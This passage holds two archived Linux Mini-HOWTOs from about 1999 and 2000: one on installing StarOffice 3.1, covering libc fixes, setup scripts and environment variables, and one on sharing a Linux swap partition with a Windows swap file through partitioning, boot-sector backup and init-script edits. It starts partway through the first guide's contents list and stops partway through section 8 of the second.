  • 3.2 Installing the tar Files
  • 3.3 Setup und Configuration
  • 3.4 COL (Caldera OpenLinux) setup bug
  • 3.5 Fixing the LANG variable problem

4. Running StarOffice

5. StarOffice Tips

6. More Information

7. Contributions

8. Disclaimer and Copyright


StarOffice 3.1 Mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

This document deals with installing StarOffice 3.1. The current version of StarOffice is 5.1. Version 5.1 is considerably easier to install and less buggy than version 3.1. In fact, in my opinion there is no need for a HOWTO for version 5.1, since StarDivision has written a fairly complete installation guide. The StarOffice mini-HOWTO was useful while it lasted, but it is now being archived only for the few who still wish to install StarOffice 3.1. For information about StarOffice 5.1, check StarDivision's site at http://www.stardivision.com.

The StarOffice Office Suite is a collection of office tools for Linux, written in C using the Motif toolkit.

StarOffice includes:

  • StarWriter, a word processor
  • StarCalc, a spreadsheet
  • StarImage, an image editor
  • StarDraw, a draw program similar to Corel DRAW
  • StarChart, a chart-making program
  • StarMath, a math editor

The StarOffice Office Suite for Linux is free for non-commercial use. Commercial use requires a license. The cost for a commercial license seperate from Caldera's OpenLinux system is currently undecided.

1.1 Motif info

StarOffice is written using the commercial Motif 2.0 GUI toolkit. The dynamically linked version will *not* work with Motif 1.2/LessTif.

The static version (with Motif 2.0 linked in) will work regardless of whether or not you have Motif. However, performance drops.

I run StarOffice on a Pentium 100 with 48 megs RAM, running Redhat 4.1 and Motif 2.0. Dynamically linked StarOffice takes about a minute to load. However, it is noticable that, once it loads up, StarOffice dynamically linked takes up much less resources than the static version.

1.2 History of this document

  • Version 1.1 991128 - updated URLs and changed references to StarOffice 4.0 to the new 5.1
  • Version 1.0 980602 - added information on StarOffice 4.0 and about how this document is now outdated
  • Version 0.8 971109 - added tips, installation w/o libc upgrade, etc.
  • Version 0.7 970707 - changed section 3.1.1, changed license
  • Version 0.6 970609 - added fix for the LANG variable problem
  • Version 0.5 970608 - updated info to StarOffice 3.1 final
  • Version 0.1 970505 - the initial release.


StarOffice 3.1 Mini-HOWTO: Obtaining the StarOffice Office Suite

 Next Previous Contents

2. Obtaining the StarOffice Office Suite

The release of StarOffice 3.1 for Linux is available for FTP at

ftp://ftp.gwdg.de/pub/linux/staroffice

The file README.StarOffice contains information on downloading StarOffice 3.1 final. You will need to get three files:

  • StarOffice31-english.tar.gz (english) templates/demo docs or
  • StarOffice31-german.tar.gz (german) templates/demo docs
  • StarOffice31-dynbin.tar.tgz (dynamically linked) or
  • StarOffice31-statbin.tar.gz (statically linked) binaries
  • StarOffice31-common.tar.gz

There is also version of StarOffice, available from Caldera. Check their website at

http://www.caldera.com
for details on this. Caldera also makes a StarOffice CD-ROM available for $ 7.99 US.


StarOffice 3.1 Mini-HOWTO: Installation of StarOffice

 Next Previous Contents

3. Installation of StarOffice

Installation of StarOffice consists of:

  • Untarring the distribution files as root in /usr/local
  • running the setup program as a user
  • sourcing the .sd.sh or .sd.csh
  • reading section 3.5!!! (do this)

3.1 Libc Issues and Fixes

StarOffice is linked with libc 5.4.4.

StarOffice 3.1 *will* work on Libc 5.3.x. Unfortunately, the setup program requires 5.4.4 or higher. If you have libc 5.3.x, you might be able to get around this by acquiring a copy of libc 5.4.4+ and adding it to your LD_LIBRARY_PATH environment variable before executing the setup script. I haven't tried this, however, so you're on your own.

If you attempt to run the setup script on a libc older than 5.4.4, you will get the following error message:

line 1: Syntax error at token 'I' expected declarator; i.e. File ...

To upgrade your libc, FTP to sunsite.unc.edu and look in the directory /pub/Linux/GCC for the file libc-5.4.33.bin.tar.gz (or whatever the latest libc is). Extract the contents of this file in a temporary directory. A new lib/ directory will be created. Su to root and copy the file libc.so.5.4.33 from this directory to your /lib directory. Now, make the symlink from libc.so.5 to libc.5.4.33 with the command:

ln -sf /lib/libc.so.5.4.33 /lib/libc.so.5
then run the ldconfig command.

Dr. Romano Giannetti ( romano@iet.unipi.it ) says:

...I want only to add that I could install (like you suggested) StarWriter in a redhat 4.2 system which has a libc5.3, without doing the upgrade.

The exact steps are:

1. get a libc.so.5.4.x. If you have a redhat rpm package (as the one you find in the contrib directory), you can extract the library by going in a scratch directory and doing: rpm2cpio libc.so.5.4.x-y.rpm | cpio --extract --make-directories The library will appear in ./lib subdirectory

2. move libc.so.5.4.x in your home directory. Then (assuming a sh-like shell): ln -s libc.so.5.4.x libc.so.5 export LD_LIBRARY_PATH=$HOME:/lib:/usr/lib

3. Now you can run setup.

3.2 Installing the tar Files

After downloading StarOffice, su or login as root and place the archives in /usr/local/. Change directory to /usr/local/ and extract the files. An example command to decompress a gzipped tar file would be:

tar -xzvf filename.tar

Older systems may require you first use the gzip -d command to unzip the file, then use the tar -xvf command to untar it.

The files will extract to their locations within the newly created usr/local/StarOffice-3.1 tree.

3.3 Setup und Configuration

After you have extracted the StarOffice files as root, you will need to login with your userid. Change directory to /usr/local/StarOffice-3.1 and execute the setup program. This program will install non-shared files and symlinks needed for each individual user. The standard installation is recommended. There *could* be problems if you do not accept the default installation path.

StarOffice makes use of environment variables. The files .sd.sh (formatted for the Bourne Shell) and .sd.csh (formatted for the C Shell) provide the environment variable settings for StarOffice. These files are located in your home directory.

If you use bash, edit your .bashrc and add the line:

source  /.sd.sh

After doing this, restart bash to bring the environment variables into effect.

If you use a different shell, consult that shell's man page for information on sourcing a file.

3.4 COL (Caldera OpenLinux) setup bug

Phil Reardon ( pcr@busprod.com ) says:

" I found a bug in the setup script for StarOffice that came with my Caldera COL standard release. It produces // in a path where there should only be one /. To fix it, remove the first slash from this line:
exec ${pfad:='.'}/linux-x86/bin/$name;;
There should be no / before linux-x86."

3.5 Fixing the LANG variable problem

The .sd.sh and .sd.csh files set the LANG variable. This causes problems with perl and man. Man will give the error message

" Failed to open the message catalog man on the path NLSPATH="
Perl will give the error message
" warning: setlocale(LC_CTYPE, "")..."

The .sd.sh file contains a line that sets LANG=us and another that exports a bunch of variables, including LANG. Remove the LANG=us line and remove LANG from the list of variables, and this will be fixed.

In the .sd.csh file (which is formatted for the c shell), you need to remove the line that says "setenv LANG us".

Thanks to Adam L. Klein ( alklein@adelphia.net) for informing me of this fix.


StarOffice 3.1 Mini-HOWTO: Running StarOffice

 Next Previous Contents

4. Running StarOffice

The StarOffice binaries are located in the directory: /usr/local/StarOffice-3.1/linux-x86/bin/

The applications are: sdraw3, swriter3, scalc3, smath3, schart3, simage3

The program svdaemon must be executed in order to use online help. The program svportmap must be executed to enable application communication features between StarWriter, StarCalc and StarDraw.


StarOffice 3.1 Mini-HOWTO: StarOffice Tips

 Next Previous Contents

5. StarOffice Tips

Contributed by Patrick D'Cruze ( pdcruze@netpal.com.au)

1. Instead of sourcing the .sd.sh (or .sd.csh) file in my .bash_profile script, I instead copied the .sd.sh script, renamed it to swriter and copied it to /usr/local/bin. I then modified it by adding a:

#! /bin/bash

at the start of the script and a:

exec swriter3 $*

at the end of the script. Now all I have to do is run swriter and it automatically sets up the appropriate environment variables and then runs StarWriter. Saves having those environment variables pollute other applications/environments.

2. I noticed that for a lot of people, StarOffice takes quite a while to load (upwards of 60 seconds). The consensus on usenet was that a large chunk of this time was due to the symbol relocations that the dynamic linker has to do. ie, for each new symbol the dynamic linker has to locate the appropriate library. StarOffice dynamically links against quite a few libraries so the dynamic linker spends quite a bit of time searching through lots of libraries.

There is a solution to this. I run StarOffice in a chroot'd jail. In the jail, I just put the binaries and libraries that StarOffice uses (all the libs out of /usr/X11R6/lib, libc/libm and libg++/libstdc++). StarWriter takes approximately 15 seconds to come up on my P133/32MB. This is due to the fact that the only libraries present are the ones needed by StarOffice and hence the dynamic linker spends proportionately less time searching through all the libraries on the system (ie, it doesn't search through all the useless libs in /usr/lib etc looking to resolve symbols).


StarOffice 3.1 Mini-HOWTO: More Information

 Next Previous Contents

6. More Information

More information on StarOffice for Linux is available directly from StarDivision. StarDivision maintains a website at http://www.stardivision.com

StarDivision runs a news server with support and user groups related to StarOffice for linux. These newsgroups are the best place to find up-to-date information on StarOffice and to ask for help. Using a newsreader, connect to news://starnews.stardivision.com or follow the support link on the StarDivision homepage.


StarOffice 3.1 Mini-HOWTO: Contributions

 Next Previous Contents

7. Contributions

Thank you to Werner Klaus ( wklaus@metronet.de ) for translating this document to sgml.

If you can contribute any additional information for this mini-HOWTO, please contact me via internet e-mail. My address is located at the top of this document. You may also wish to take a look at my web page, located at http://tarp.worldserve.net/ or http://tarp.linuxos.org/


StarOffice 3.1 Mini-HOWTO: Disclaimer and Copyright

 Next Previous Contents

8. Disclaimer and Copyright

This document is (C) 1999 by Matthew Borowski.

Redistribution of this document in electronic form is permitted under the condition that the document remains unchanged. If you wish to include this document in a CD-ROM or book, please obtain permission from me beforehand (I prefer requests to be sent via e-mail).

The author claims no responsibility in anything that may occur directly or indirectly as a result of using this document. The author is not an employee of StarDivision, GmbH or Caldera, Inc.

Comments and questions may be directed to the author at mkb@poboxes.com.


Linux Swap Space Mini-HOWTO

Rahul U. Joshi, jurahul@hotmail.com http://jurahul.freeservers.com

v1.42, 18 January 2000

This Linux Mini-HOWTO describes how to share your Linux swap partition with Windows.

1. Introduction

2. What you need

3. Recent Changes and versions

4. Administrative

  • 4.1 Copyright
  • 4.2 Disclaimer

5. Before you begin

6. The Procedure

  • 6.1 Turn off swapping and create a DOS partition
  • 6.2 Tell Windows the location of the new swap file
  • 6.3 Back up the Total Special Sectors
  • 6.4 Modify the initialization and shutdown scripts to handle our new configuration
  • 6.5 Reenable swapping

7. A couple of notes

8. What are we exactly doing ?

9. The swapinit.sh script

10. The swaphalt.sh script

11. The msinfo.sh script

12. The original msinfo file

13. Acknowledgements, feedback and dedication


Linux Swap Space Mini-HOWTO: Introduction

 Next Previous Contents

1. Introduction

Many people use both Linux and MS-Windows. The ability to do so is an important part of "the Linux revolution"; i.e. letting people experiment with (and get hooked on) Linux while still being able to run their off-the-shelf software. Since both Linux and MS-Windows use virtual memory with swap to disk, a frequently occurring question in comp.os.linux.setup is how to share swap spaces, in order to reduce the amount of disk space needed.

There are several methods for sharing swap spaces, the one described in this document is probably the most complicated one but is the only one I have encountered that allows maximum performance for both environments without the risk of trashing a disk partition. If you are using DOS, then many DOS applications manage their own swap files. You can also share the Linux swap partition with these applications.


Linux Swap Space Mini-HOWTO: What you need

 Next Previous Contents

2. What you need

This procedure have a few requirements that need to be filled. I strongly recommend that you fill these requirements *anyway*, as there are several problems with older versions.

  1. MS-DOS 5.0 or newer and MS-Windows 3.1/3.11 OR MS-Windows 95/98
  2. A shutdown/init that knows to run a file on shutdown. (The SysVinit-2.50 package can do this, for example. SysVinit-2.50 is available from sunsite.unc.edu in /pub/Linux/system/Daemons. Almost all current distributions use this init package.)


Linux Swap Space Mini-HOWTO: Recent Changes and versions

 Next Previous Contents

3. Recent Changes and versions

  • Version 1.3 -- Written by H. Peter Anvin, and was not maintained from 15 Jan 1998.
  • Version 1.4 -- Based on v1.3, but added more details. Currently maintained by Rahul U. Joshi
  • Version 1.42 -- Deleted the recovery section for v1.4 users an v1.4 never actually appeared on the LDP website.

Modifications by Rahul U. Joshi

Date: 26 Nov 1999

  • Added Windows 95/98 specific details.
  • Added Red Hat Linux specific details.
  • Modified the msinfo program.
  • Added sections 5 to 12.
  • Completely revamped the "Procedure" section to make it more understandable.
  • Split up the swap initialization and halt into two shell scripts.
  • Modified the scripts to handle signature verification more than once.
  • Added details about new type swap areas.
  • Added more reliable schemes.


Linux Swap Space Mini-HOWTO: Administrative

 Next Previous Contents

4. Administrative

4.1 Copyright

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have questions, please contact Tim Bynum, the Linux HOWTO coordinator, at linux-howto@sunsite.unc.edu via email.

4.2 Disclaimer

Although I have tried my best to bring out various facts, the author is not responsible for any damage due to the actions taken based upon the information contained in this document. It is impossible to test the things under all the configurations, so probably some of the hints given in this document may be buggy and may not work on your system. In case you trace the bug, let me know it first !

This document is provided ``as is''. I put great effort into writing it as accurately as I could, but you use the information contained in it at your own risk. In no event shall I be liable for any damages resulting from the use of this work.

In case you are planning to include this HOWTO on some distribution medium or in print, I will like to have an acknowledgement e-mail (just for my record). In that case, I may also be able to send you the latest version of the document.


Linux Swap Space Mini-HOWTO: Before you begin

 Next Previous Contents

5. Before you begin

This is not a step by step HOWTO. The reader is expected to first read the entire document so that he (or she) becomes aware of the possible pitfalls and performance bottlenecks. After having a fair idea as to what steps are to be taken, he (or she) can then follow the next section in a step by step manner. Since you will be playing as a root and that too with the system initialization files, be alert as to what you are doing. Write in those files comments for those sections that you added, and when you want to remove a section, do not delete it. Instead just comment it out. (In shell scripts comments begin with a pound(#) sign). In case things go wrong, you may restore your original configuration by removing the changes you did. Although you are not required to know shell scripting since I have given all those that would be needed, some knowledge may be advantageous both for understanding as well for debugging.


Linux Swap Space Mini-HOWTO: The Procedure

 Next Previous Contents

6. The Procedure

NOTE: This procedure has been written keeping in mind RedHat Linux 6.0 Although this procedure in general is applicable for all Linux distributions, the details may vary. You are welcome to add the details for your distribution. Many users will already have a swap partition devoted to Linux. I assume you have one.

6.1 Turn off swapping and create a DOS partition

  • Boot Linux. Turn off swapping by editing the /etc/fstab file and commenting the line that describes your swap partition.

  • Using fdisk under Linux, delete the swap partition in order to create free space on the disk.

  • Boot DOS. Create a DOS partition (using FDISK) the size = the size swap space you want. If you cannot create the partition (probably because DOS FDISK says that all the space in extended partition is allocated to the logical drive), you can use fdisk or cfdisk under Linux to create the partition. You can even just change the type of your swap partition from 82h (Linux Swap) to 06h (FAT16). In that case you don't need to delete the swap partition, just change the type.

  • Once you have created the partition, Boot DOS if you are not already in DOS. DOS will be assigned a drive letter to your new partition. Use that drive letter instead of X whenever these instructions lists a command like "LABEL X:" or "COPY FOO X:DUMMY.DAT"

  • Format this partition using the DOS FORMAT command.

    C:\>FORMAT X:

  • Set the volume label on this partition to "SWAP SPACE" using the DOS LABEL command. Verify it by the DIR command. Please do this as a separate step. Some versions of FORMAT do not seem to put the volume label in the boot sector as it should. [Note: some people has written me saying the volume label is stored in the root directory. Yes, but at least since DOS 5.0 it has also been in the boot sector.]

    C:\>LABEL X:
C:\>DIR X:

  • At this stage, you have a DOS partition ready for use for swapping.

6.2 Tell Windows the location of the new swap file

For Windows 3.1 users

  • Start Windows. Go to the Control Panel, select "386 Enhanced". Select "Virtual Memory" and create a Windows Permanent swap file on drive X: of maximum size (Windows will tell you the maximum size). Windows may complain saying it will not use a swap file that big. Ignore the message and create the file anyway.

  • Exit Windows.

For Windows 95/98 users

  • Start Windows. Go to the Control Panel (Start | Settings | Control panel). Double click the System icon. In the resulting System Properties dialog box, select the Performance tab. Now click the Virtual Memory button. This will bring up the Virtual Memory dialog box. Select "Let me specify my own virtual memory settings". Select the drive you intend to share as swap space with Linux (X:). Keep the Maximum and Minimum values as selected by Windows. Click OK. Windows will prompt you to restart your computer. Do it.

  • When you restart Windows, you will see that the win386.swp file has been created on the X: drive. In addition, there is also the Recycled folder. Since you don't intend to store any other files on this drive and also a single file on this partition will be convienent, tell Windows not to maintain Recycle Bin for this (X:) drive. On the Desktop, left click the Recycle Bin icon, and in the resulting pop-up menu, click Properties. This will bring up the Recycle Bin Properties dialog box. Click the Global tab and select "Configure drives independently". Now click the tab for X: drive (which will have the label SWAP SPACE). In this dialog box, move the slider for "Maximum size of Recycle Bin" to 0 percent. The "Space Reserved" entry should now read as 0 bytes. Click OK. Restart your computer.

  • Now that you are not maintaining the Recycle Bin for drive X:, ideally the RECYCLED folder from X: must be deleted by Windows. Not only Windows doesn't does that, but also does not allow you to delete the folder. But as I said earlier, this folder is now unnecessary and we want drive X: to contain only the win386.swp file. For that purpose, first start your computer in MS-DOS mode. Select Start | Shut Down | Restart your computer in MS-DOS mode, or if you are booting Windows, press F8 at the start, and then from the startup menu, select Command Prompt only. Once you are in MS-DOS mode, type the following commands:

    C:\>X:
X:\>ATTRIB -R -H -S RECYCLED
X:\>DELTREE RECYCLED

    Now you have drive X: containing only win386.swp. You can verify this using the various options for the dircommand. This does not mean that the RECYCLED folder will not be there on drive X:. When Windows boots up and finds that there is no RECYCLED folder on X:, it will create it automatically. However, when we will be restoring X: from Linux, it will simply contain win386.swp file. If anyone is aware of a method to prevent Windows from creating the RECYCLED folder, please e-mail me.

  • Disk Cleanup troubles you ?

    If you have Disk Cleanup installed, then ocassionally Windows comes out with a "Low disk space on drive X:". Since we are using the entire X: drive for swapping, there is no need to have any free space on X:. To prevent this dialog box from appearing, start Disk Cleanup (point to Start | Programs | Accessories | System Tools | Disk Cleanup). In the resulting dialog box, select the X: drive and click OK. The "Disk Cleanup for drive X:" dialog box appears. Click the "Settings" tab and uncheck the "If this drive runs low on disk ... blah blah blah" check box.

>From this stage onwards, Windows will assume that it's swap file is on drive X:. So the drive X: must be intact each time you boot Windows. If you are using some additional system utilities like Norton Utilities for Windows 95, then you should probably consult the online help or the manuals to keep them informed of the changes in the settings, otherwise they may come out with an error message.

6.3 Back up the Total Special Sectors

  • Boot Linux, then log in as root.

  • Use the fdisk command to find the name of the partition and its size in blocks. Create a symbolic link from /dev/winswap to this partition. If the partition is hda7, then type:

    # ln -s /dev/hda7 /dev/winswap

    [NOTE TO PURISTS: Please use a symlink. The name of this partition is going to go into several configuration files and inconsistencies could be fatal.]

  • Find the "Total Special Sectors" for the swap drive. These are nothing but the total number of sectors required for the boot sector, FAT and root directory. There are a number of ways to find this number. Simplest copy the msinfo.sh file using your favourite editor. Give the following commands at the shell prompt

# cp Swap-Space-HOWTO msinfo.sh
# chmod +x msinfo.sh

    (Much easier if you use one of the editors with KDE or GNOME)

    Now, open the msinfo.sh file in the editor and delete everything except the msinfo.sh file in section 8. Now run this file as

# ./msinfo.sh /dev/winswap

    The program will print the some information about the swap partition. Take note at the number saying "Total special sectors", and verify that the volume label says "SWAP SPACE". If it does not, reboot DOS and re-do the LABEL command.

  • Note: You can also find the "Total Special Sectors" using tools that can display the Boot sector like the Norton Disk Editor or minfo from mtools under Linux. For Norton Disk Editor, select "Boot Sector" from the Object menu. Note down the following entries :

    Reserved Sectors at beginning : r
FAT Copies                    : f
Sectors per FAT               : s
Root directory entries        : r

    Now the "Total Special Sectors" is given by

    T = r + (s * f) + (d / 16)

    However, using the above program is more convienent.

    Let us denote these Total Special Sectors by XXX.

  • [Optional step] Windows may occasionally leave some space on the partition, even if it is told not to. Don't attempt to use this space, since it will be erased any time you run Linux. If you want to avoid accidentally using it (and lose data), you can create a dummy file that fills that space by using the following commands:

    mkdir /mnt
mount -t msdos /dev/winswap /mnt
dd if=/dev/zero of=/mnt/dummy.fil
umount /mnt

    The dd command will report "No space left on device". This is exactly what you want.

  • Type on the shell prompt:

# dd if=/dev/winswap bs=512 count=XXX | gzip -9 > /etc/winswap.gz
                                  ^^^

    ... where XXX is replaced with the "Total special sectors" number.

    Here we are saving the Total Special Sectors in a compressed form in the file /etc/winswap.gz

6.4 Modify the initialization and shutdown scripts to handle our new configuration

  • Now, we will modify our initalization scripts so that swap space will be create on the partition each time Linux starts and the DOS/Windows special sectors will be restored each time Linux shut downs.

  • Instead of placing the command for handling the details directly in the initialization scripts, we will prepare two separate files called swapinit.sh and swaphalt.sh. One sample of these files that should work under Red Hat Linux is given in section at the end. You can choose to place these files under any directory, preferably /etc/rc.d/init.d. Create the two files in this directory and copy into then the scripts given in sections at the end. One simple way is to copy this HOWTO in these files as,

# cp Swap-Space-HOWTO  /etc/rc.d/init.d/swapinit.sh
# cp Swap-Space-HOWTO  /etc/rc.d/init.d/swaphalt.sh

    and then using your favourite editor, delete all execpt the required part. Now make these file "executable" by giving the following commands

    # chmod +x swapinit.sh
# chmod +x swaphalt.sh

  • Run fdisk and find the size of the swap partition in blocks. In both the above files (swap????.sh) replace the YYYYY by this number.

  • Check the name of the shutdown file. For SysVinit this is the file listed in the following line of /etc/inittab; add it if you don't have it.

    # Runlevel 0 means shut down the system
l0:0:wait:/etc/brc

    (Under Red Hat Linux, this file probably will be /etc/rc.d/init.d/halt) If you are not in a position to find it out, browse through the /etc directory and find the initialization file that contains the "swapon -a" command. Only this much for now !

    For the remainder of this file, I will assume the filename was /etc/rc.d/init.d/halt (halt for short).

  • Check the name of your system initialization file. For SysVinit, this is the file listed in the following line of /etc/inittab.

# System initialization
si::sysinit:/etc/rc.d/rc.sysinit

    In case of your distribution, your file may be different. I assume that the file is /etc/rc.d/rc.sysinit (rc.sysinit for short)

  • Add the following piece of code to your initialization file (rc.sysinit), in place of the "swapon -a" command. You may consider not deleting but just commenting the original commands so that if something goes wrong, we can restore the script to it's initial state.

    If your swapon is in /etc, replace /sbin/swapon with /etc/swapon. If it is in /bin, replace with /bin/swapon. Do the same for mkswap.

# -----------------------------------------------------------------------
# removed by yourname
# Start up swapping.
# action "Activating swap partitions" swapon -a
# -----------------------------------------------------------------------

# ----------------------------------------------------------------------
# added by yourname
# Verify and initialize swap space
#
/etc/rc.d/init.d/swapinit.sh
# ----------------------------------------------------------------------

  • A simple way to paste the text is to start two Virtual Consoles. Log as a root in both cases. Use your favourite editor to open this HOWTO on one console and the script to be modified on other console. Now select the above code with your mouse and switch to the other console. Place the cursor at the desired position to paste and press the right mouse button. The selected text will be copied.

  • Add the following piece of code to your shutdown file (halt).Put this after any command that might need swap to be in place. Normally, your halt file will have the "swapoff -a" command. First replace the -a by /dev/winswap. Then immediately after that section, add the following commands.

    Note for RedHat Linux 6.1 : It seems that Red Hat Linux 6.1 halt script automatically finds all the swap partitions and turns of swapping. So, RedHat Linux 6.1 users need not replace the swapoff $SWAPS comamnd by the swapoff -a command. In that case, just add the /etc/rc.d/init.d/swaphalt.sh command to the halt file

# ------------------------------------------------------------------------
# Modified by yourname
# replaced "swapoff -a" by "swapoff /dev/winswap"
#
# Turn off swap, then unmount file systems.
runcmd "Turning off swap and accounting" swapoff /dev/winswap
[ -x /sbin/accton ] && /sbin/accton
# ------------------------------------------------------------------------

# ------------------------------------------------------------------------
# Added by yourname
# check swap signature and restore Windows swap info
/etc/rc.d/init.d/swaphalt.sh
# ------------------------------------------------------------------------

6.5 Reenable swapping

Uncomment the line in /etc/fstab that you commented earlier. (Not really necessary, since we now do not refer to fstab for swap partitions). Reboot Linux. You should now have swapping on the new swap device.


Linux Swap Space Mini-HOWTO: A couple of notes

 Next Previous Contents

7. A couple of notes

  • There is no need to add /dev/winswap to your /etc/fstab file. In fact, it is probably wise not to do so (except possibly as a comment).

  • If your Linux session crashes or otherwise exits without running /etc/rc.d/init.d/halt, you will need to reboot and exit Linux before swapping in Windows will work. It is also possible to FORMAT X: and re-create the Windows swap file. The only way around this would be to put the equivalent of the /.../halt commands in the DOS AUTOEXEC.BAT file. I have tried to write some programs to do this, but that turned out to be a hell lot of trouble ! First and foremost, simply restoring the total special sectors doesn't please DOS. Along with that, it seems you need to modify some internal data structures so that DOS starts recognizing your drive, otherwise DOS comes out with the error message:

    Invalid media type reading drive X:
Abort, Retry or Fail ?
    Since I am not aware of many details of DOS's or Windows's handling of disk drives, I think at this point, you may consult some DOS expert. Of course, if you are not concerned about the booting time, then you can simply add the command to perform an unconditional FORMAT of X: and then restore the TSS's. May be there are some other solutions. If you are aware of one, please e-mail me today !

  • One way to restore your Windows swap partition is to start Linux, disable swapping as described above, and then use the following command :

# swapoff -a
# zcat /etc/winswap.gz > /dev/winswap
# reboot

  • Why to delete the RECYCLED folder ? According to the procedure mentioned above, you must delete the RECYCLED folder. This is necessary because we will be saving and restoring only the sectors unto the root directory, but no further sectors. Also, we want the drive X: to be restored to a "clean" state with no errors. If we don't delete the RECYCLED folder, then the root directory entry is restored, but the "." and ".." entries for this folder are not restored and ScanDisk finds errors on the disk. To prevent this from happening, we will delete the RECYCLED folder and hence only the entry for win386.swp file will be restored.

  • If DOS' FDISK reports the partition as a "logical DOS drive", it has a number of 5 (as in /dev/hda5) or higher. It is *NOT* the partition labelled "extended" which has a number of 4 or less!! If your Linux fdisk does not display logical partitions, you have a broken Linux fdisk (Slackware 2.2 included a broken fdisk, for example.) You can try "cfdisk" if your distribution has it, or you will have to get a working fdisk.

  • When you turn off swapping, Linux has to manage everything in the main memory itself. If your system memory is low, say something like 16MB, then some large applications that run during initialization may not be able to run properly. As an example, you may get the following message during initialization:

    Finding module dependencies Out of memory

    I don't think this will cause any problems later until you reenable swapping. But it's always better to take some precautions. As you will be seeing in the next section, Linux can also be configured to use a swap file instead of a swap partition. So if you feel that Linux will not run properly with your normal system memory, create a swap file that Linux will use temporarily until swapping is restored. This swap file should preferably in the root directory. Figure out the minimum size of swap space required. It will probably equal to your system memory. Create a swap file of that size by giving the following commands (assuming 16MB swap space):

    # dd if=/dev/zero of=/swap bs=1024 count=16384
# mkswap /swap 16384
# sync

    Now place the command swapon /swap just after the original swapon -a command in the rc.sysinit file. Thus, now your system has been configured to use swap file and hopefully there will be no Out of memory errors. After having a workable swap partition (i.e after following through this HOWTO completely), you can remove the swapon /swap line that you added to your rc.sysinit file.

  • Please do not mail me unless you have checked and re-checked that you copied your scripts correctly. More than half of the problems reported with this Mini-HOWTO have been due to typos when copying the scripts. (Use cut-and- paste if you can!). Even a spacing error can cause an error. For example, if at the startup you get the messages

Verifying swap space...Linux signature found
swapon: /dev/winswap invalid argument

    Then, surely there has been a typing mistake in your scripts. Please check your scripts.

  • Sometimes, the swap partition is detected to have neither Linux nor Windows info and the "No signature found" error appears. I exactly don't know why this happens, but for that case, I have written the code in swap????.sh files to try six times before reporting an error. Normally, the DOS signature should be found on the first try, but many a times on my system it is found on iteration 2, 5 or not at all after 12 iterations. You may consider increasing the number of tries to some value like 12 or 24, there is no harm in doing so. Once on my system, the script could not detect the signatures even after 50 iterations ! If such a situation arises, you may consider making a symbolic link to the swapinit.sh file in your root home directory, and execute it at startup.

# ln -s /etc/rc.d/init.d/swapinit.sh swapinit.sh
# ./swapinit.sh

    However, what I have observed is that once the setup runs on your system for some time, the appropriate signatures are always found on the first iteration.

  • For added reliability

    Your Linux Box runs something very important, or your system memory is less so that without swapping, your applications just start collapsing ? You have set up the swap partition to be shared by Windows. But many a times, your system is unable to detect the proper signatures after exhaustive probing and so disables any swapping partitions. At your own risk, you may consider removing the signature checking logic, but here is a more approachable solution.

    First refer to the previous point and create a swap file in the Linux root directory, with the name /swap. Keep it's size according to your requirement. Now open the swapinit.sh file and modify the last if statement as follows:

    if [ $activated -ne 1 ] ; then
  echo "Swap signature not found after $loopcount tries"
  echo "Activating swap file"
  swapon /swap
  exit 1
fi

    Thus if we find that swap partition lacks appropriate swap signatures, then we enable the swap file. Since the swap file is on the root partition and the Linux Kernel refuses to proceed until it mounts the root file system, you are safely assured that the swap file will always be successfully activated. Instead of creating and keeping the swap file and wasting disk space, you may also modify the code to create the swap file on the fly.

  • Saving more disk space As we saw, Linux and Windows can share their swap spaces. But Window doesn't really require as large a swap file as your Linux swap partition ? Then you can have some free space on the swap partition (keep the Windows swap file size smaller than the swap partition size). Swapping for Windows based applications is managed by Windows itself. But many DOS programs like Turbo C++ Compiler, Norton DOS etc. also manage their own swap files. In that case it is possible to configure these programs so that they create their swap files in the swap partition instead of their default location. This will increase your usable disk space. Also, most of these program forget to delete the swap files they created, leading to a large used disk space. But with this setup, every time you shut down Linux, you get a clean swap partition, saving your time in finding and deleting these swap files. For example, you can tell Turbo C++ to swap on drive say E: by invoking it as

    C:\CLAN>TC /RE
    For Norton DOS, set the variable in the NDOS.INI file as,
    Swapping = E:\
    Many other programs may rely on the TEMP or TMP environment variables to decide where they will swap. In that case you may set these variables appropriately in your AUTOEXEC.BAT file.

  • What if the swap partition is a FAT32 ? No, you can't have a swap partition with a FAT32 file system. First of all, Linux can use a maximum of 128MB of swap space on a single swap partition. Thus, if your swap partition is larger than 128MB, you are wasting your disk space. And Windows will refuse to convert a partition of 128MB into a FAT32 file system.

  • The new style swap space Linux knows about two styles of swap areas, the old style and the new style. By default, you will be using the old style swap space with a signature "SWAP-SPACE". If you want to use the new style swap space, then first of all change "SWAP-SPACE" in all the above scripts to "SWAPSPACE2". Also add an option -v1 in the mkswap command in the swapinit.sh script, as follows

/sbin/mkswap -v1 /dev/winswap YYYYY

    Also, run the following commands from the shell prompt :

# swapoff /dev/winswap
# mkswap -v1 /dev/winswap YYYYY
# swapon /dev/winswap

    It seems that under new style swap space, your usable swap partition can be as large as 2GB on i386 platforms. This means that you can now have a swap partition larger than 512MB which Windows can format as a FAT32 partition . Someone help on how do we save the "Total Special Sectors" under a FAT32 partition.

  • For users of WINE WINE is a program which allows running Microsoft Windows programs on Linux. If you are using WINE on a system that has been set up to share swap partition, then when running a Windows program a win386.swp file of about 8kb is created in your Windows folder. This is because the swap file on X: is not available at that time. You can safely delete this file once you finish running your Windows programs.


Linux Swap Space Mini-HOWTO: What are we exactly doing ?

 Next Previous Contents

8. What are we exactly doing ?

  • Both Windows and Linux use swap space. When an OS is shut down, the contents of the swap space are just garbage, the OS doesn't bother about what is in it. Now what is the point in devoting a 60MB partition for swap space to Linux and about 32MB of disk space separately to Windows when only one of them is going to run at a time (It is possible to run both Linux and Windows at the same time, thanks to VMWare. For more information, see VMWare website). So we want Linux and Windows to share the same hard disk space as swap space.

